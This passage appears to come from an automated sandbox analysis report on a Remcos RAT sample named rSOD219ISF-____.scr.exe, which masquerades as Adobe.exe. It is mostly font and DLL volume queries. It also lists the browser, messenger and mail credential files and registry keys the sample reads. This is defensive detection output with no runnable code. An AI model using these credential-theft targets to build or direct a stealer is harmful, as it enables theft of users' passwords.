                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040B164 GetLocalTime,wsprintfW,2_2_0040B164
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041B60D GetUserNameW,2_2_0041B60D
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004493AD _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,2_2_004493AD
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0041739B GetVersionExW,5_2_0041739B
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1731258252.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2015515611.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1847433881.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.4178218379.0000000001597000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7224, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7540, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7892, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 8000, type: MEMORYSTR
                Contains functionality to steal Chrome passwords or cookies
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data2_2_0040BA12
                Contains functionality to steal Firefox passwords or cookies
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\2_2_0040BB30
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: \key3.db2_2_0040BB30
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.dbJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqliteJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Tries to steal Instant Messenger accounts or passwords
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\PaltalkJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
                Tries to steal Mail credentials (via file registry)
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: ESMTPPassword7_2_004033F0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword7_2_00402DB3
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword7_2_00402DB3
                Yara detected WebBrowserPassView password recovery tool
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7420, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1731258252.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2015515611.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1847433881.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.4178218379.0000000001597000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7224, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7540, type: MEMORYSTR
